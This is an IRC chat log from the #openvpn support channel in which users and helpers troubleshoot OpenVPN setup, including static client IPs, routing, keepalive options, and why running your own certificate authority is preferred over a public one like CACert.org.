17:43 < Z-TechFourNine> --push "topology p2p"
17:43 < Z-TechFourNine> --mode server
17:43 < Z-TechFourNine> --tls-server
17:43 < Z-TechFourNine> --ifconfig 10.8.0.1 10.8.0.0
17:44 <@krzee> ild like to pretend im right, but really i never realized topology p2p could be used with mode server
17:44 -!- Z-TechFourNine is now known as debbie10t
17:47 < rob0> Anyway, it might be worth noting that 172.0.0.0/8 is *not* all RFC1918 space; only 172.16.0.0/12 (172.16.0.0 through 172.32.255.255).
17:47 < rob0> 23:11 -!- speed_racer84 [~speed_rac@172.56.15.154] has quit [Ping timeout: 246 seconds]
17:48 < debbie10t> rob0: is that for my benefit ?  i did update it to 10.x.x.x to reflect that
17:49 < rob0> you did indeed
17:49 < debbie10t> :)
17:50 <@krzee> "This is the default as of OpenVPN 2.3, but not recommended for current use.
17:50 <@krzee> i agree, but this must look funny for new users
17:50 <@krzee> "they set something to default, but they dont recommend it?"
17:51 < debbie10t> assuming they read it . . .
17:51 <@krzee> we would not write all this stuff if we did not assume it would get read
17:51 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
17:52 -!- rawDawg [~raw@cpe-76-188-27-72.neo.res.rr.com] has quit [Read error: Connection reset by peer]
17:52 -!- rDg [~raw@cpe-76-188-27-72.neo.res.rr.com] has joined #openvpn
17:52 < debbie10t> the clarification "for fear of breaking backwards-compat configs" is clear to see
17:52 <@krzee> oh i know
17:52 <@krzee> i would like to see the default change one day
17:53 <+pekster> krzee: Whopsie, I redact my statement of incorrectness; I was correct the first time ;)
17:53 <@krzee> =]
17:56 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has joined #openvpn
17:57 -!- pizzaman` [~aljdf@162.243.33.26] has quit [Remote host closed the connection]
17:59 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
18:00 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Client Quit]
18:00 < Azrael_-> yay, redirect-gateway with transparent squid-proxy works like a charm
18:07 -!- hirogen [~peeepp@0547936d.skybroadband.com] has quit [Ping timeout: 241 seconds]
18:17 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has joined #openvpn
18:27 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
18:30 -!- jgeboski is now known as Miranda
18:30 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:32 -!- Miranda is now known as jgeboski
18:43 -!- matsh [divine@nanogene.org] has quit [Read error: Connection reset by peer]
18:43 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has quit [Remote host closed the connection]
18:45 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has joined #openvpn
18:49 -!- matsh [divine@nanogene.org] has joined #openvpn
18:54 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
18:58 -!- cian1500ww [~cian@unaffiliated/cian1500ww] has quit [Ping timeout: 260 seconds]
19:00 -!- cian1500ww [~cian@unaffiliated/cian1500ww] has joined #openvpn
19:07 -!- duoi [~duoi@unaffiliated/duoi] has joined #openvpn
19:26 -!- aegis [~aegis@184.75.213.122] has left #openvpn ["Leaving"]
19:36 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 272 seconds]
19:40 -!- Carbon_Monoxide [~cmonxide@14.0.143.34] has joined #openvpn
19:41 -!- Carbon_Monoxide [~cmonxide@14.0.143.34] has left #openvpn []
19:45 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has quit [Quit: gone]
19:51 -!- debbie10t [~ma1com10t@host-92-20-11-49.as13285.net] has quit [Quit: Nettalk6 - www.ntalk.de]
19:52 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has quit [Ping timeout: 245 seconds]
19:57 -!- duoi [~duoi@unaffiliated/duoi] has quit [Disconnected by services]
19:57 -!- duoi_2 [~duoi@unaffiliated/duoi] has joined #openvpn
20:02 -!- duoi_2 [~duoi@unaffiliated/duoi] has quit [Ping timeout: 246 seconds]
20:03 -!- duoi [~duoi@unaffiliated/duoi] has joined #openvpn
20:04 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
20:04 -!- duoi [~duoi@unaffiliated/duoi] has quit [Disconnected by services]
20:04 -!- duoi_2 [~duoi@unaffiliated/duoi] has joined #openvpn
20:08 < EugeneKay> I'm suddenly wishing Atoms had rdrand
20:08 -!- duoi [~duoi@unaffiliated/duoi] has joined #openvpn
20:10 -!- duoi_2 [~duoi@unaffiliated/duoi] has quit [Ping timeout: 252 seconds]
20:27 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has joined #openvpn
20:37 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 260 seconds]
21:18 -!- duoi [~duoi@unaffiliated/duoi] has quit [Ping timeout: 264 seconds]
21:30 -!- duoi [~duoi@unaffiliated/duoi] has joined #openvpn
22:27 -!- ayaka [~ayaka@222.76.205.131] has joined #openvpn
22:27 < ayaka> I have a problem with easy-rsa3 it ask me pem, I can skip it
22:50 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has quit [Ping timeout: 245 seconds]
22:53 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Ping timeout: 246 seconds]
23:07 -!- tapout [~tapout@unaffiliated/tapout] has quit [Ping timeout: 240 seconds]
23:08 -!- Gman32 [~Gman32@2607:5300:60:2b74::1] has quit [Ping timeout: 240 seconds]
23:18 -!- Gman32 [~Gman32@2607:5300:60:2b74::1] has joined #openvpn
23:20 -!- tapout [~tapout@unaffiliated/tapout] has joined #openvpn
23:32 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 252 seconds]
23:41 -!- duoi [~duoi@unaffiliated/duoi] has quit [Disconnected by services]
23:41 -!- duoi_ghost [~duoi@unaffiliated/duoi] has joined #openvpn
23:44 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
23:45 -!- duoi [~duoi@46.21.151.107] has joined #openvpn
23:45 -!- duoi [~duoi@46.21.151.107] has quit [Changing host]
23:45 -!- duoi [~duoi@unaffiliated/duoi] has joined #openvpn
23:46 -!- duoi_ghost [~duoi@unaffiliated/duoi] has quit [Ping timeout: 265 seconds]
23:52 <+pekster> ayaka: The passphrase you mean? If so, see the `./easyrsa help gen-req` output -- you can pass the `nopass` argument to generate an unencrypted passphrase
23:54 < ayaka> pekster, thank you
23:54 -!- ayaka [~ayaka@222.76.205.131] has left #openvpn ["离开"]
23:55 -!- speed_racer84 [~speed_rac@172.56.7.122] has joined #openvpn
--- Day changed Fri Nov 29 2013
00:22 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
00:27 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 246 seconds]
00:59 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
01:03 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
01:30 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has joined #openvpn
01:33 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:39 -!- Denial- [Denial@2.223.161.125] has joined #openvpn
01:39 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has quit [Ping timeout: 264 seconds]
01:39 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 264 seconds]
01:40 -!- SlutaTramsa [~SlutaTram@2a00:1a28:1251:178:73:210:61:1] has joined #openvpn
01:40 -!- SlutaTramsa [~SlutaTram@2a00:1a28:1251:178:73:210:61:1] has quit [Changing host]
01:40 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has joined #openvpn
01:41 -!- Denial [Denial@2.223.161.125] has quit [Ping timeout: 264 seconds]
01:41 -!- Denial- is now known as Denial
01:44 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
02:09 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has joined #openvpn
02:13 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
02:32 -!- ade_b [~Ade@193.202.255.218] has joined #openvpn
02:32 -!- ade_b [~Ade@193.202.255.218] has quit [Changing host]
02:32 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:33 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.2]
02:34 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:45 -!- XPMUser [~XPMUser@203.217.147.252] has joined #openvpn
02:45 < XPMUser> hi
02:46 < XPMUser> why do i always get the same virtual ip when tried connecting to openvpn?
02:48 < EugeneKay> !ipp
02:48 <@vpnHelper> "ipp" is (#1) the option --ifconfig-pool-persist ipp.txt does NOT create static ips or (#2) Note that the entries in this file are treated by OpenVPN as suggestions only, based on past associations between a common name and IP address. They do not guarantee that the given common name will always receive the given IP address. If you want guaranteed assignment, see !iporder and !static
03:03 -!- sec^nd [~second@gateway/tor-sasl/sec0nd] has quit [Ping timeout: 240 seconds]
03:04 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
03:06 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
03:07 -!- tharkun [~0@unaffiliated/tharkun] has quit [Ping timeout: 245 seconds]
03:08 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
03:09 -!- tharkun [~0@187.188.94.182] has joined #openvpn
03:16 -!- sec^nd [~second@gateway/tor-sasl/sec0nd] has joined #openvpn
03:17 -!- szr- [~s_r@unaffiliated/szr] has joined #openvpn
03:20 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has quit [Ping timeout: 248 seconds]
03:20 -!- jefferai_gone [~quassel@corkblock.jefferai.org] has joined #openvpn
03:20 -!- kro[au]] [~thatguy@kgovps.net] has joined #openvpn
03:22 -!- reiffert_ [~thomas@mail.reifferscheid.org] has joined #openvpn
03:22 -!- riddle [riddle@us.yunix.net] has quit [Disconnected by services]
03:22 -!- n2deep_ [n2deep@odin.sdf-eu.org] has joined #openvpn
03:22 -!- frank-- [1000@unaffiliated/thumbs] has joined #openvpn
03:22 -!- riddle [riddle@us.yunix.net] has joined #openvpn
03:27 -!- Netsplit *.net <-> *.split quits: thumbs, szr, reiffert, n2deep, kro[au], Haxxa, aji, jefferai
03:27 -!- szr- is now known as szr
03:27 -!- Haxxa- [~Harrison@162.243.39.102] has joined #openvpn
03:37 -!- speed_racer84 [~speed_rac@172.56.7.122] has quit [Read error: Connection reset by peer]
03:37 -!- speed_racer84 [~speed_rac@172.56.7.122] has joined #openvpn
03:44 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has joined #openvpn
03:49 -!- kro[au]] is now known as kro[au]
04:10 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
04:13 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
04:20 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
04:20 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
04:24 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
04:33 -!- emka [~root@static.58.41.40.188.clients.your-server.de] has joined #openvpn
04:34 < emka> hi, should i use --cipher and --prng params in the client config ?
04:35 -!- u0m3_ [~u0m3@109.96.166.138] has joined #openvpn
04:38 -!- u0m3 [~u0m3@109.96.166.138] has quit [Ping timeout: 265 seconds]
04:40 -!- speed_racer84 [~speed_rac@172.56.7.122] has quit [Read error: Connection reset by peer]
04:41 -!- speed_racer84 [~speed_rac@172.56.7.122] has joined #openvpn
04:43 -!- MmikePoso [~mario@213.186.6.3] has joined #openvpn
04:44 < MmikePoso> Hello. I'm using openvpn on ubuntu/debian. Each time I connect to a vpn I need to manually add some routes to access some of the boxes via the VPN (othwerise i'm using default route that goes over the internet). Now, I can't reconfigure the server so I was wondering is there a way to add my 'personal' client rutes to the vpn client configuration?
04:53 -!- Denial [Denial@2.223.161.125] has quit [Read error: Connection reset by peer]
04:54 -!- Denial [Denial@2.223.161.125] has joined #openvpn
04:58 -!- kubbing [~kubbing@ip-94-113-63-41.net.upcbroadband.cz] has joined #openvpn
05:10 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
05:11 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
05:13 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 252 seconds]
05:13 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
05:22 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
05:26 -!- emka [~root@static.58.41.40.188.clients.your-server.de] has left #openvpn []
05:33 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
05:39 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has quit [Ping timeout: 246 seconds]
05:59 -!- duoi [~duoi@unaffiliated/duoi] has quit [Disconnected by services]
05:59 -!- duoi_ghost [~duoi@unaffiliated/duoi] has joined #openvpn
06:02 -!- duoi [~duoi@unaffiliated/duoi] has joined #openvpn
06:05 -!- duoi_ghost [~duoi@unaffiliated/duoi] has quit [Ping timeout: 265 seconds]
06:08 < XPMUser> !iporder
06:08 <@vpnHelper> "iporder" is (#1) OpenVPN's internal client IP address selection algorithm works as follows: 1 -- Use --client-connect script generated file for static IP (first choice). or (#2) Use --client-config-dir file for static IP (next choice) !static for more info or (#3) Use --ifconfig-pool allocation for dynamic IP (last choice) or (#4) if you use --ifconfig-pool-persist see !ipp
06:08 < XPMUser> !static
06:08 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
06:21 -!- duoi [~duoi@unaffiliated/duoi] has quit [Ping timeout: 246 seconds]
06:28 -!- kubbing [~kubbing@ip-94-113-63-41.net.upcbroadband.cz] has quit [Remote host closed the connection]
06:37 -!- T-One [~T-One@213.33.91.2] has quit [Quit: Verlassend]
06:38 -!- reiffert_ is now known as reiffert
06:43 -!- duoi [~duoi@unaffiliated/duoi] has joined #openvpn
06:49 -!- kubbing [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has joined #openvpn
06:59 -!- speed_racer81 [~speed_rac@172.56.7.122] has joined #openvpn
07:02 -!- speed_racer84 [~speed_rac@172.56.7.122] has quit [Ping timeout: 265 seconds]
07:08 -!- XPMUser [~XPMUser@203.217.147.252] has quit [Quit: Leaving]
07:10 -!- frank-- is now known as thumbs
07:16 -!- ghost1235 [~speed_rac@172.56.7.122] has joined #openvpn
07:17 -!- duoi [~duoi@unaffiliated/duoi] has quit [Disconnected by services]
07:17 -!- duoi_ghost [~duoi@unaffiliated/duoi] has joined #openvpn
07:20 -!- speed_racer81 [~speed_rac@172.56.7.122] has quit [Ping timeout: 260 seconds]
07:27 -!- duoi_ghost [~duoi@unaffiliated/duoi] has quit [Ping timeout: 272 seconds]
07:34 -!- SJr [~sjr@S010600fb42f573f0.vc.shawcable.net] has quit [Quit: ZNC - http://znc.sourceforge.net]
07:35 -!- SJr [~sjr@S010600fb42f573f0.vc.shawcable.net] has joined #openvpn
07:36 -!- Chrisje [~chris@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has quit [Ping timeout: 246 seconds]
07:43 -!- Chrisje [meta@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has joined #openvpn
07:45 -!- Chrisje [meta@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has quit [Excess Flood]
07:47 -!- Chrisje [meta@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has joined #openvpn
08:04 -!- speed_racer81 [~speed_rac@172.56.7.122] has joined #openvpn
08:08 -!- ghost1235 [~speed_rac@172.56.7.122] has quit [Ping timeout: 260 seconds]
08:09 -!- ghost1235 [~speed_rac@172.56.7.122] has joined #openvpn
08:13 -!- speed_racer81 [~speed_rac@172.56.7.122] has quit [Ping timeout: 272 seconds]
09:06 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
09:07 -!- corretico_ [~luis@190.241.180.58] has quit [Quit: Leaving]
09:11 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
09:11 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 272 seconds]
09:14 -!- Thermi [~Thermi@unaffiliated/thermi] has left #openvpn []
09:15 -!- sync0pate [~sync@unaffiliated/sync0pate] has joined #openvpn
09:16 < sync0pate> !welcome
09:16 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
09:16 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
09:16 < sync0pate> !goal
09:16 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
09:16 < sync0pate> ok.. hi everyone. I would like to connect to my VPN server to use it for client-client connection, WITHOUT routing all internet traffic through the VPN
09:17 < sync0pate> but at the moment whenever I connect it routes all traffic through the vpn (and I can actually only connect to the vpn server itself)
09:17 < sync0pate> any help greatly appreciated :\
09:21 < sync0pate> dead in here? :\
09:24 < sync0pate> !howto
09:24 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
09:25 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has left #openvpn []
09:25 < rob0> Don't use --redirect-gateway if you don't actually wish to redirect the gateway!
09:32 < sync0pate> yeah I didn't
09:33 < sync0pate> I fixed it now fyi, thanks though
09:33 < sync0pate> if anyone's curious
09:33 < sync0pate> I fixed it by changing the setting under the IPV4 Settings->routing->use this connection only for resources on it's network
09:33 < sync0pate> on the client
09:33 < sync0pate> seems obvious heh
09:37 < sync0pate> oh no, my mistake.. now it's not working at all :\ goddamnit.
09:37 < sync0pate> if it's client-client I should still be able to ping the server, right?
09:37 < sync0pate> or no?
09:39 < rob0> Usually "unable to ping server" means either the VPN did not connect (see your logs, "--verb 4"), or as /topic says, firewall.
09:39 -!- pepijndevos [~pepijndev@2a00:dcc0:eda:3754:247:55:9194:8ed6] has left #openvpn ["Leaving"]
09:40 < sync0pate> yeah in the logs I'm getting "packet HMAC authentication failed"
09:40 < sync0pate> but afaik I'm not using HMAC authentication?
09:41 < sync0pate> no firewall on client, firewall configured not to affect vpn connection on server..
09:41 < sync0pate> plus this was working 10 minutes ago :\
09:41 < sync0pate> and I've not changed firewall
09:44 < rob0> What changed in those 13 minutes?
09:53 -!- CatKiller [~catkiller@unaffiliated/catkiller] has joined #openvpn
09:54 -!- Chrisje [meta@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has quit [Ping timeout: 246 seconds]
09:56 < CatKiller> Hi there! I've got a small issue with OpenVPN: I configured an OpenVPN server with a signed certificate from CACert.org. I'm now configuring the clients, however, since I'll be manually adding the client certificates to the server, I did not sign those using the same CA but used easy-rsa instead.
09:57 -!- Chrisje [chris@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has joined #openvpn
09:57 < CatKiller> Now when I try to connect, the ovpn-client doesn't like my server certificate, it fails with: error=unable to get local issuer certificate: /CN=cloud.mpstor.com
09:57 < CatKiller> Here's the info: config: http://bpaste.net/show/Ugx04ywEUSSmEdGhr9XK/ error: http://bpaste.net/show/HIhMW4ZiFaufAGhOrNFA/
09:58 < CatKiller> Do the server CA signature have to be the same as the client CA?
10:02 < rob0> um, why CACert.org? Do you want to enable all CACert.org-signed certificate holders to connect to your VPN?
10:02 < rob0> You're missing something very basic about the PKI model here. You surely want to be your own CA.
10:02 < rob0> !pki
10:02 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
10:02 <@vpnHelper> signed specially as a server (see !servercert) or (#3) See !certman for various PKI management frontends
10:07 < CatKiller> rob0: Surely I have to add the client certificate to the server to allow access no?
10:07 < CatKiller> The signature only guarantees identity
10:09 < rob0> Here's a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the CA cert to check that the other was signed by the right ca.key.
10:10 < CatKiller> I was reading the resource you pasted too, I had it completely wrong :p
10:10 < CatKiller> I thought the CA was only used to prevent MITM attacks
10:10 < CatKiller> where you could verify that the server you were connected was genuinely "himself" since you could verify its public key signing using a "trusted" 3rd party CA
10:10 < CatKiller> here CaCert.org
10:11 < CatKiller> But to be honest this is even better: I would actually like to be able to say that any certificate signed by CA cert is a valid one to connect to the server
10:11 < CatKiller> this way I don't have to login to the OpenVPN server to sign any certs
10:11 < CatKiller> somebody sends me a certificate signing request, I sign it and done
10:12 < CatKiller> Is that possible?
10:12 < rob0> You would definitely NOT want to maintain your CA on the server. That is a bad idea, possibly a VERY bad idea if the server lacks entropy.
10:15 < CatKiller> rob0: on the server you mean the openvpn server or the CAcert server?
10:16 < CatKiller> rob0: So if my server cert is signed by CACert.org, I should be ok then? The only vulnerability is if that CA gets hacked I guess, then anybody can sign himself a key to login to openVPN?
10:17 < rob0> I have a CACert.org certificate. Do you want me connecting to your VPN?
10:18 < rob0> Anyone who can get a CACert.org account can get a CACert.org certificate.
10:18 < rob0> You're missing something very basic about the PKI model here. You surely want to be your own CA.
10:19 < CatKiller> Ah ok sorry of course, it makes sense.
10:19 < CatKiller> I blindly followed a guide on routerOS that explained how to get a cert from CACert
10:19 -!- u0m3_ is now known as u0m3
10:20 < CatKiller> Now I realize what this means
10:22 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has joined #openvpn
10:28 < CatKiller> rob0: Here's what I'm going to do: Have my ca.crt and ca.key on a separate, secure server with no internet facing ports. On the server, I'll generate a key but I will sign it using that "secure" ca.crt. On the server I'll do the same. Now the server key will have been generated on the openvpn server but signed by the 3rd party CA. On the client, I'll sign the key in the same fashion. The server won't even have to have a copy of the client ce
10:28 < CatKiller> rts to validate them, since they were signed by a trusted CA.
10:28 < CatKiller> Does that seem about right?
10:30 -!- dimitry7 [~antonello@38.124.174.31] has joined #openvpn
10:30 -!- dimitry7 [~antonello@38.124.174.31] has quit [Max SendQ exceeded]
10:31 -!- dimitry7 [~antonello@38.124.174.31] has joined #openvpn
10:36 -!- speed_racer81 [~speed_rac@172.56.7.122] has joined #openvpn
10:36 < CatKiller> rob0: Also, I think signing the cert with cacert.org could have worked too, while CAcert is a "public" signing entity, nobody else but me can sign certs for my own domain (identified by e-mail). So somebody else trying to sign his own cacert would have yielded a cert with the wrong CN
10:36 < CatKiller> Although I'm not sure if OpenVPN cares
10:37 < rob0> right, how did you tell openvpn to only accept clients with CN in your domain?
10:37 -!- electric-mind [~root@static.58.41.40.188.clients.your-server.de] has joined #openvpn
10:38 < CatKiller> Yep I wasn't sure about that
10:38 < CatKiller> in any case I'm not going the cacert option uin the end
10:38 < CatKiller> I'm going to do what you suggested
10:38 < CatKiller> have my own CA on a secure machine
10:38 < CatKiller> which is not on the server itself
10:39 -!- ghost1235 [~speed_rac@172.56.7.122] has quit [Ping timeout: 265 seconds]
10:39 < CatKiller> I had it all wrong at first, I thought that OpenVPN only allowed clients whom certs it had a copy of, and thought the CA was merely here for host identification
10:39 < rob0> Another (additional) form which I recommend is
10:39 < rob0> !ccd-exclusive
10:39 < rob0> !ccd
10:39 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
10:39 -!- caelian [~caelian@ovh.caelian.net] has joined #openvpn
10:40 < CatKiller> Ah nice, thanks, so that would help in case I was to use a commercial or free third party signing CA (like Verisign or CACert)?
10:40 -!- speed_racer81 [~speed_rac@172.56.7.122] has quit [Ping timeout: 246 seconds]
10:40 < rob0> --ccd-exclusive means that the CN filename in --client-config-dir must exist. It gives you a server-side access control in addition to the CA.
10:41 < CatKiller> that's nice
10:41 < CatKiller> So people using third party signers have to enforce this rule
10:41 < rob0> I don't know why anyone would use a third-party CA, period.
10:41 < CatKiller> Since the third party signers share the same private key with all their customers
10:42 < CatKiller> I don't know, just thinking of large organizations who like to outsource for instance
10:42 < CatKiller> Anyways that's cool I learned something which finally answers many questions I had since yesterday
10:42 < CatKiller> thanks a million for that!
10:43 < CatKiller> I just had it totally wrong
10:43 < CatKiller> the danger of basing reflexion on assumptions
10:49 -!- Ceasium is now known as Cubox
10:50 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:02 < sync0pate> OK now I have two clients successfully connected to a server with client-client set, but unable to ping each other..
11:03 < sync0pate> ubuntu on all machines
11:08 <+pekster> "share the same private key with all their customers" ?!! I really hope not (anyone doing that with _any_ private key is missing the point
11:08 -!- master_of_master [~master_of@p4FF24217.dip0.t-ipconnect.de] has joined #openvpn
11:08 <+pekster> https://github.com/OpenVPN/easy-rsa/blob/master/doc/Intro-To-PKI.md
11:08 <@vpnHelper> Title: easy-rsa/doc/Intro-To-PKI.md at master · OpenVPN/easy-rsa · GitHub (at github.com)
11:10 -!- TheCaptain2000 [~quassel@79.81.21.95.dynamic.jazztel.es] has joined #openvpn
11:11 -!- master_o1_master [~master_of@p4FD7B2D4.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
11:12 -!- speed_racer84 [~speed_rac@172.56.7.122] has joined #openvpn
11:12 < rob0> pekster, is that in a factoid yet?
11:12 < rob0> maybe add one to !pki (but that one's already too long)
11:15 -!- aji [~alex@atheme/member/aji] has joined #openvpn
11:15 -!- speed_racer84 [~speed_rac@172.56.7.122] has quit [Read error: Connection reset by peer]
11:16 -!- speed_racer84 [~speed_rac@172.56.7.122] has joined #openvpn
11:17 <+pekster> rob0, for the Intro stuff? That's part of the easyrsa3 docs, and after I get that article beefed up just a but we can refer there for basics
11:18 <+pekster> The intro doc is not specific to any frontend tool and more 'background' though, so direct-linking wouldn't hurt either
11:18 <+pekster> This is a landing-page for easyrsa3 resources; maybe it could use a "go see the [howto] for v2" https://community.openvpn.net/openvpn/wiki/EasyRSA
11:18 <@vpnHelper> Title: EasyRSA – OpenVPN Community (at community.openvpn.net)
11:19 -!- speed_racer84 [~speed_rac@172.56.7.122] has quit [Read error: Connection reset by peer]
11:20 -!- speed_racer84 [~speed_rac@172.56.7.122] has joined #openvpn
11:20 -!- speed_racer84 [~speed_rac@172.56.7.122] has quit [Remote host closed the connection]
11:23 -!- hefe_bia [~hstock@mail.indurad.com] has joined #openvpn
11:23 < hefe_bia> !welcome
11:23 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
11:23 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
11:29 < sync0pate> anyone know how to make the openvpn connection permanent? like, always connect, always reconnect? on ubuntu?
11:29 < electric-mind> should i use cipher and prng options in the client config ?
11:30 <+pekster> sync0pate: Read about --ping-restart and --ping (which the --keepalive helper-option is a proxy for)
11:31 <+pekster> electric-mind: It's generally unnecessary to use the --prng option as the default is generally fine. IIRC --prng takes the same values as --auth, so I suppose you could try out a SHA2-series-hash, but I don't really see the benefit
11:31 <+pekster> The cipher is up to you; BF and AES are the fairly standard ones, though the rest are an option fo ryou
11:32 < electric-mind> pekster: thank you
11:35 < sync0pate> pekster, can I put the ping-restart in the server conf?
11:35 <+pekster> sync0pate: Yes, and this is what --keepalive does for you in a server mode anyway (and pushes --ping + --ping-restart to clients)
11:36 < sync0pate> pekster, well then it's not working.. :\
11:36 <+pekster> In that case it simply disconnects expired client sessions that
11:36 < sync0pate> pekster, also I need the vpn to load on boot.. humm
11:36 <+pekster> Then you'd best pastebin your server configs per !configs . Please mind the comment removal, and you can use gist (see: !paste) to put them in 1 URL
11:36 <+pekster> Erm, server+client configs (both are relevant here)
11:36 < sync0pate> I'll do that when I'm back thanks, gotta go out now.
11:37 < sync0pate> cheers though.
11:38 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has quit [Ping timeout: 272 seconds]
11:39 < electric-mind> should i use keepalive in client, or server.conf is enough?
11:41 < electric-mind> i mean "keepalive" option
